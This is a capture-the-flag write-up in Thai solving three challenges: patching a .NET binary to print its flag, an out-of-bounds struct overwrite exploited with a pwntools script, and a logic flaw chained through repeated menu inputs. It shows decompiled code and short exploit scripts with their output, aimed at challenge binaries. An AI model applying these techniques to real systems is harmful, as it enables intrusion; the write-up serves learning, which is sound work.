Table of Contents
Nuke (100 pts)
ข้อนี้เขาจะให้ Program dotnet มา ก็เลยโยนเข้า dnSpy เพื่อ disassemble หลังจากลองรัน ก็จะเห็นว่าเป็น Programยิงนิวเคลียร์ซักอย่าง

ลอง find “flag” ใน dnSpy ก็จะเจอ Code ที่เอาไว้ใช้ Print Flag
string nuclear_launch_codes = Program.ExtractNuclearLaunchCodes();Console.ForegroundColor = ConsoleColor.Red;Console.WriteLine("\n\ud83d\udea8 ═══ TOP SECRET NUCLEAR LAUNCH CODES ═══ \ud83d\udea8");Console.WriteLine("\ud83d\udd11 MASTER LAUNCH KEY: " + nuclear_launch_codes);Console.WriteLine("\ud83d\ude80 ACTIVATION CODE: flag{" + nuclear_launch_codes + "}");ลอง Patch Program ให้ Print Flag ตั้งแต่เริ่ม -> Compile -> Save Module

Run Program อีกรอบก็จะได้ Flag มา

Not Doom (200 pts)
ข้อนี้โจทย์ให้ ELF file มา หลังจากลองรันก็จะเห็นว่า Option 2 ของ Program จะมีการให้ write data ลงอะไรซักอย่างแล้วก็จะเช็ค Password

ลอง disasm ด้วย ghidra ก็จะเห็นว่า Option 2 (doom_function()) ใช้ vulnerable_struct หรือ struct ใน C เก็บข้อมูลต่างๆ
void doom_function(void){ long lVar1; long in_FS_OFFSET; int index; vulnerable_struct vuln; char input [64];
lVar1 = *(long *)(in_FS_OFFSET + 0x28); builtin_strncpy(vuln.buffer,"Safe initial data",0x12); vuln.function_ptr = print_flag; vuln.password = 0xcafebabecafebabe; puts("\n=== Memory Exploitation Challenge ==="); printf("Current password: 0x%llx\n",vuln.password);
printf("\nEnter buffer index: "); __isoc99_scanf(&DAT_00102137,&index); printf("Enter data to write: "); __isoc99_scanf(&DAT_00102150,input);
printf("Writing to buffer[%d]...\n",(ulong)(uint)index); strcpy(vuln.buffer + index,input); if (vuln.password == 0xdeadb33fdeadb33f) { puts("Password check passed!"); puts("Calling function pointer..."); (*vuln.function_ptr)(); } else { printf("Password check failed!"); } if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}หลังจากที่ดูข้อมูล Struct ก็จะเห็นว่ามันเก็บ password, buffer และ fn_ptr ซึ่ง password อยู่ที่ offset 0x28

ซึ่งเวลาที่ write ข้อมูล Programนำ offset ของ buffer + index ที่เราใส่เข้าไปมาใช้ในการ copy ข้อมูล แต่ buffer ใน struct offset จะเริ่มต้นที่ 0x0
strcpy(vuln.buffer + index,input);เพราะงั้น offset ที่ต้องwrite เพื่อเปลี่ยน password จะเป็น 0x28 - 0x0= 0x28 หรือก็คือ 40, จากนั้นก็มาเขียน Payload
from pwn import *
p = process('./not_doom_local')p.recvuntil(b'Choice:')p.sendline(b'2')p.recvuntil(b'Enter buffer index:')p.sendline(b'40')p.recvuntil(b'Enter data to write:')p.sendline(p64(0xdeadb33fdeadb33f))print(p.recvall(timeout=2).decode())─$ python doom.py[+] Starting local process './not_doom_local': pid 30669[+] Receiving all data: Done (206B)[*] Stopped process './not_doom_local' (pid 30669) Writing to buffer[40]...Password check passed!Calling function pointer...Congratulations! Here's your flag: flag{xxxxxxx}Cyber User (300 pts)
ข้อนี้โจทย์ก็ให้ไฟล์ ELF มา แต่ว่ารอบนี้ Option เยอะมาก ก็เลยไป Disasm แงะหา Code ส่วนที่จะ print flag (รอบนี้ใช้ Binary Ninja เพราะ แงะง่ายกว่า)

ก็ไปเจอ function นี้ ที่เราต้องใส่ Password ให้ถูกต้องคือ P@ssw0rd เพื่อ print flag

แต่Funtion ไหนล่ะ ที่เรียกใช้ Function นี้? นั่นก็คือ system_override()

โดยมีการ check condition ดังนี้
override_counter= 5access_level> 2authentication_attempts> 20
แต่พอไปดูที่เมนู ก็ยังไม่มีเมนูที่เรียกใช้ system_override() โดยตรง ก็ไปหาวิธีเรียกใช้
โดยตอนเริ่มProgram Programจะสร้าง User นึงที่เป็น sys_admin และเก็บ address function system_override() ไว้ที่ user id 9

ซึ่งหลังจากลองรัน แล้วเรียกใช้ Function ของ User9 ก็เป็นการ เรียก system_override() จริงๆ แถมตัวProgramก็จะเพิ่ม override_counter ขึ้นไปอีก

ทีนี้ก็มาหาวิธีการเพิ่ม access_level โดย
พอ search access_level ก็เจอ Code ที่สามารถยกระดับ access_level ได้ ใน security_compliance_check()

ซึ่งจากโค้ดที่เห็นก็คือ loop check condition กับแต่ละ User ID โดยที่เราต้องทำให้ var_c > 0 เพื่อยกระดับ แต่ condition มันหมายถึงอะไรล่ะ
if (*(uint64_t*)(((int64_t)i << 5) + &user_registry) && !verify_profile_integrity(i))*(uint64_t*)(((int64_t)i << 5) + &user_registry: Check ว่า User ID อยู่ใน registry มั้ย, 1 -> อยู่, 0 -> ไม่!verify_profile_integrity(i): ตัวนี้มีเรียก fn โดยที่เราต้องทำให้ มัน return 0 เพื่อ จะให้ เข้า condition ได้ ซึ่งตัวverify_profile_integrity(i)Code คือ
วิธีที่จะทำให้ มัน return 0 ง่ายสุด คือ ทำให้ active_flagเป็น 0 (active_flagเป็นตัวแปรที่ไปแงะมาrename อีกทีนึง) ซึ่งเราสามารถ Deactive ง่ายๆ จาก Option 4 ของ Program
ลองใช้ Option 4 เพื่อ Deactive User ก็จะเห็นว่าเรายกระดับ access_level ขึ้นไปได้

ทีนี้ต้องมาทำให้ authentication_attempts > 20 โดยที่มันจะเพิ่มทุกครั้งที่เรา create_user_profile() สำเร็จ หรือก็คือ Option 1 ใน Program
Option 1 Disasm

เราจะเห็นว่าเราจะสามารถ ใส่ User ID ได้ไม่เกิน 11 ถึงจะรวมกับ User ที่สร้างตอนProgramเริ่ม (0-5 กับ 9) รวมเป็น 7 ID เราก็เหลือแค่ 4 ID ที่สามารถสร้างได้ หรือก็คือ authentication_attempts ไม่สามารถเกิน 11 ได้ด้วยวิธีตรงๆ เพราะฉะนั้นต้องหาทางอื่นแทนสร้างตรงๆ
จาก Code เราจะเห็นว่า Program ไม่ได้เช็ค ว่า User Existed รึเปล่า แต่ Check ว่า User Active อยู่รึป่าว
else if (*(uint32_t*)(((int64_t)rax_29 << 5) + &active_flag)){ printf(&data_403de6, (uint64_t)rax_29); fflush(__TMC_END__); continue;}เพราะฉะนั้นเราก็สามารถ Spam Deactive แล้วก็สร้าง User เพื่อ เพิ่ม authentication_attempts ได้
ทีนี้เราก็จะผ่านทุก Condition ในการเรียก system_override() แล้ว ทีนี้ก็มาเขียนpayload (ขี้เกียจนั่งสแปมสร้าง User)
print('4\n5\n7') #Increase Access Levelauth = 7while auth < 21: print('4\n1') # Deactive print('1\n1') # Create auth +=1 passoverride = 0while override < 5: print('5\n9') # Call system_override override +=1print('P@ssw0rd') # Last Password checkพอรันก็แล้ว Pipe เข้า Program ก็จะได้ Flag
